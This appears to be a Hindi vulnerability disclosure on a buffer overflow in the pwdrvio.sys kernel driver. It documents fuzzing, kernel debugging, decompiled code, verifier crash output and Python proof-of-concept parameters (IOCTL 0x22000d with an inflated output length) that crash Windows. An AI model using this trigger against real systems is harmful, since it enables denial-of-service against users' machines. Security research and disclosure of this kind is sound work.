
प्रोजेक्ट दिनांक: फ़रवरी 2026 / कर्नेल ड्राइवर के IOCTL हैंडलर में बफर ओवरफ्लो भेद्यता की खोज की गई। यह भेद्यता बिना विशेषाधिकार वाले स्थानीय हमलावर को कर्नेल पूल मेमोरी को दूषित करने की अनुमति देती है, जिससे तत्काल सिस्टम क्रैश (BSOD) और सेवा अस्वीकरण (Denial of Service) उत्पन्न होता है।
परियोजना तिथि : फ़रवरी 2026 / pwdrvio.sys कर्नेल ड्राइवर के IOCTL हैंडलर में एक बफर ओवरफ़्लो भेद्यता की खोज की गई। यह भेद्यता एक अनविशेषाधिकार प्राप्त स्थानीय हमलावर को कर्नेल पूल मेमोरी को दूषित करने की अनुमति देती है, जिससे तत्काल सिस्टम क्रैश (BSOD) और सेवा से इनकार होता है।
https://github.com/user-attachments/assets/b53fb5d1-b4d0-4bc6-ad6e-2a321a1d2101
सेवा से इनकार (DoS)
गंभीरता: मध्यम (MEDIUM)
CVSS 3.1 स्कोर: 5.5 (DoS)
CVSS वेक्टर स्ट्रिंग:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:Hबफर ओवरफ़्लो — सेवा से इनकार (CVSS 5.5 - मध्यम)
हमले की पूर्वापेक्षाएँ:
शोषण परिणाम: DoS - तत्काल सिस्टम क्रैश, सेवा अनुपलब्धता
दिनांक: 5 फ़रवरी 2026
गतिविधि: कस्टम Python फ़ज़र का उपयोग करके व्यवस्थित कर्नेल ड्राइवर फ़ज़िंग
खोज प्रक्रिया:
लक्ष्य चयन:
pwdrvio.sys को सबसे पुराना ड्राइवर पहचाना गया (टाइमस्टैम्प: 16 जून 2009)C:\Windows\System32\drivers\pwdrvio.sys\\.\PartitionWizardDiskAccesser\0प्रारंभिक फ़ज़िंग:
ctypes का उपयोग करके Python फ़ज़र विकसित किया गयाWriteFile/DeviceIoControl के माध्यम से यादृच्छिक डेटा भेजा गयावेरिफ़ायर सक्रियण:
verifier /standard /driver pwdrvio.sys
वेरिफ़ायर कॉन्फ़िगरेशन:
Verifier Flags: 0x001209bb
Standard Flags Enabled:
[X] Special pool
[X] Force IRQL checking
[X] Pool tracking
[X] I/O verification
[X] Deadlock detection
[X] DMA checking
[X] Security checks
[X] Miscellaneous checks
[X] DDI compliance checking
दिनांक: 5-6 फ़रवरी 2026
गतिविधि: मूल कारण विश्लेषण के लिए कर्नेल डीबगिंग वातावरण स्थापित किया गया
सेटअप प्रक्रिया:
VMware सीरियल पोर्ट कॉन्फ़िगरेशन:
VMware Workstation Pro → VM Settings
├─ Add Hardware → Serial Port
├─ Connection: "Use named pipe"
├─ Path: \\.\pipe\com_1
├─ End: "This is the server"
└─ I/O Mode: "Yield CPU on poll" ✓
अतिथि OS कॉन्फ़िगरेशन:
REM Administrator Command Prompt
bcdedit /debug on
bcdedit /dbgsettings serial debugport:1 baudrate:115200
shutdown /r /t 0
होस्ट WinDbg कनेक्शन:
WinDbg → File → Attach to Kernel
├─ Port: \\.\pipe\com_1
├─ Baud Rate: 115200
├─ Pipe: ✓
└─ Reconnect: ✓
Result: "Kernel Debugger connection established."
दिनांक: 6 फ़रवरी 2026
गतिविधि: आर्बिट्रेरी कर्नेल राइट प्रिमिटिव की पहचान की गई
विश्लेषण चरण:
मॉड्यूल विश्लेषण:
1: kd> lm m pwdrvio
start end module name
fffff805`315f0000 fffff805`315f8000 pwdrvio (Jun 16 2009)
1: kd> !drvobj pwdrvio 2
Driver object (fffff805`XXXXXXXX) is for:
\Driver\pwdrvio
DriverEntry: fffff805`315f6008
DriverUnload: fffff805`315f1060
Dispatch Routines:
[00] IRP_MJ_CREATE fffff805`315f108c
[02] IRP_MJ_CLOSE fffff805`315f12f8
[03] IRP_MJ_READ fffff805`315f16c4
[04] IRP_MJ_WRITE fffff805`315f1564 ← Target
[0e] IRP_MJ_DEVICE_CONTROL fffff805`315f1404
भेद्य निर्देश खोज:
राइट हैंडलर पर ब्रेकपॉइंट सेट करें:
1: kd> bp pwdrvio+0x1641
1: kd> g
Breakpoint 0 hit
pwdrvio+0x1641:
fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax
महत्वपूर्ण निष्कर्ष: आर्बिट्रेरी राइट प्रिमिटिव की पहचान की गई!
RAX) को पते [R11-0x10] पर लिखता हैR11 स्टैक फ्रेम से लोड होता है: mov r11, qword ptr [rbp+0xB8h]रजिस्टर स्थिति विश्लेषण:
0: kd> r
rax=fffff805315f1364 ← Kernel code pointer
r11=ffffe60f84c38750 ← Destination address (controlled via stack)
rbp=ffffe60f84c38610 ← IRP stack frame
0: kd> dq @rbp+0xB8 L1
ffffe60f`84c386c8 ffffe60f`84c38750 ← R11 loaded from here
दिनांक: 6-7 फ़रवरी 2026
गतिविधि: User-After-Free से write-what-where स्थिति तक भेद्यता का पता लगाया गया
मेमोरी भ्रष्टाचार श्रृंखला:
IRP आवंटन:
0: kd> !pool @rbp
Pool page ffffe60f84c38610 region is Special pool
*ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+
Pooltag Irp+ : I/O verifier allocated IRP packets
बफर संबंध:
0: kd> r rsi
rsi=ffffe60f828df900 ← User buffer location
0: kd> ? @rbp - @rsi
Evaluate expression: 35823344 = 00000000`02229ef0 ← 35MB difference!
विश्लेषण: उपयोगकर्ता बफर RBP फ्रेम से सीधे सुलभ नहीं है
RBP+0xB8 ऑफसेट उपयोगकर्ता-नियंत्रित बफर की ओर इंगित नहीं करताUse-After-Free स्थिति:
ड्राइवर IRP संरचना में डैंगलिंग पॉइंटर बनाए रखता है:
// Ghidra decompilation (pwdrvio+0x1564)
longlong lVar1 = *(longlong *)(param_2 + 0xb8); // Load from IRP
// No validation!
lVar5 = IoBuildAsynchronousFsdRequest(...);
// Write to [lVar1 - 0x10]
*(code **)(lVar3 + -0x10) = FUN_00011364; // Arbitrary write!
दिनांक: 8 फ़रवरी 2026
गतिविधि: स्टैंडअलोन DoS भेद्यता की खोज की गई
खोज:
IOCTL फ़ज़िंग:
0x22000d को भेद्य के रूप में पहचाना गयाक्रैश तंत्र:
# Vulnerable parameters
TARGET_IOCTL = 0x22000d
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
real_output_buffer = ctypes.create_string_buffer(4)
fake_output_length = 8192 # Driver trusts this value!
DeviceIoControl(handle, TARGET_IOCTL, input_buf, 1024,
real_output_buffer, fake_output_length, ...)
ड्राइवर व्यवहार:
वेरिफ़ायर आउटपुट:
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arg1: 0000000000000091, Corrupted pool allocation
Arg2: fffff805315f1404, Driver code address
Arg3: ffffe60f84c38000, Pool allocation address
Arg4: 0000000000000091, Corruption type
PROCESS_NAME: python.exe
स्थान: pwdrvio.sys IOCTL हैंडलर
भेद्य IOCTL: 0x22000d
ट्रिगर तंत्र:
import ctypes
from ctypes import wintypes
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
TARGET_IOCTL = 0x22000d
kernel32 = ctypes.windll.kernel32
# Open driver
handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)